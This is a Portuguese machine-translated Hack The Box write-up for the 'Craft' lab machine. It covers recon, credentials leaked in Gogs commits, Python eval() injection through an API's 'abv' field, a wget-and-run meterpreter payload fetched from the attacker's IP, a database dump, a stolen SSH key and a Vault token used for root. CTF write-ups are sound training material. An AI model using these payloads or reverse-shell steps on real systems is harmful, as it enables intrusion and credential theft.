Hack The Box - Artesanato passo a passo. Exploramos o Git, exploramos vulnerabilidades na API, lidamos com o Vault

imagem

Neste artigo, começarei a publicar soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Veremos como você pode explorar o RCE na API, mergulhar nos repositórios do Gogs, trabalhar com bancos de dados e lidar com o sistema secreto de armazenamento e gerenciamento do Vault.

A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:

  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em computação forense, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Inteligência


Verificação de porta


Esta máquina possui um endereço IP 10.10.10.110, que eu adiciono ao / etc / hosts.
10.10.10.110 craft.htb
Primeiro, examinamos as portas abertas usando o nmap e especificamos a opção -A para obter o máximo de informações possível sobre os serviços descobertos.
 nmap -A craft.htb 

imagem

Na máquina, vemos o serviço ssh, bem como um servidor web em execução na porta 443. Se você for ao servidor da Web, ofereceremos uma olhada na API.

imagem

Quando tentamos examinar a API e o git, somos informados sobre sites desconhecidos.

imagem

Portanto, adicionamos os dois nomes de domínio ao / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Agora os dois links são abertos. A API do Craft é supostamente uma interface para trabalhar com a API; portanto, para iniciantes, precisamos descobrir como ela funciona, com a qual o Gogs nos ajudará.

imagem

Ponto de entrada


No git, a primeira coisa a verificar é confirmada.

imagem

Após passar pelas confirmações, em 10e3ba4f0a, encontramos os dados de autenticação do usuário.

imagem

Tendo logado no gogs em correspondência, encontramos uma menção sobre o bug.

imagem

Ao clicar no link, descobrimos como a verificação ocorre na função eval (), o que é muito perigoso, pois você pode executar o código nessa função.

imagem

Para testar a hipótese, no console python local, faremos um analógico da função e tentaremos chamar a função "system ()" do módulo "os".

imagem

O código foi executado com sucesso! Agora você precisa escrever uma exploração para voltar a se conectar. No primeiro estágio, copie o código para autenticação e recebimento de token.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

Nesse código, nossa carga é passada no parâmetro “abv”, portanto, para verificar a suposição do RCE, substituímos a string '15 .0 'por "__import __ (' os '). Sistema (' ping your_ip ')".

Abrimos o tcpdump, indicando qual interface escutar e filtrar parâmetros apenas pacotes ICMP e iniciar a exploração.

imagem

imagem

Observamos que conseguimos efetuar ping de um host remoto. Agora vamos voltar a conectar. Isso pode ser feito através do nc, mas vamos obter um shell meterpreter. Para fazer isso, gere uma carga usando o msfvenom. Especificamos a carga em si (reverse_tcp), host e porta local (LHOST, LPORT) e o formato do arquivo é elf.

imagem

Ao mesmo tempo, ligamos o servidor da web local. Agora configure o ouvinte no msfconsole. Para fazer isso, defina os parâmetros, como na carga.

imagem

Ouvimos as conexões recebidas, agora precisamos carregar a carga no host e iniciá-la.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Na janela metasplit, vemos uma conexão de entrada.

imagem

USER


Vamos iniciar o shell e ver com quem trabalhamos.

imagem

De acordo com a conclusão do terminal, podemos assumir que estamos dentro do contêiner do docker. Dê uma olhada no host.

imagem

Há um arquivo executável dbtest.py. Você deveria assistir.

imagem

O programa se conecta ao banco de dados e executa o comando com a saída subsequente. Vamos dar uma olhada no banco de dados. Para fazer isso, iniciei o console python interativo no host e copiei todo o código nele antes que o comando fosse executado.

imagem

Agora vamos solicitar tabelas.

imagem

Como resultado, retornamos 2 registros. Como cursor.fetchone () gera uma entrada, faremos duas dessas saídas.

imagem

Então nós temos 2 mesas. Mais interessante é o usuário. Exibimos todos os dados desta tabela.

imagem

E há 3 entradas nele.

imagem

E obtemos créditos de usuário. Depois de experimentá-los no ssh e falhar, tentamos entrar no git. E acaba por se logar como gilfoyle. E ele tem um repositório fechado.

imagem

imagem

O diretório .ssh é muito interessante. Existem duas chaves, e nós escolhemos a privada.

imagem

Estamos tentando conectar via ssh com essa chave.

imagem

ROOT


A primeira coisa a olhar no diretório do usuário.

imagem

Encontramos um token do cofre.

imagem

Depois de lidar com o cofre , direi que é um sistema de armazenamento e gerenciamento de segredos que contém dados no formato de chave / valor, que são acessados ​​por um token. Verifique se o armazenamento está configurado.

imagem

Vamos dar uma olhada na lista de segredos .

imagem

Assim, vemos que o acesso ao ssh está configurado .

imagem

Agora, inserimos a senha de uso único que nos foi dada e estamos no sistema como root.

imagem

Você pode se juntar a nós no Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.

Source: https://habr.com/ru/post/pt482970/


All Articles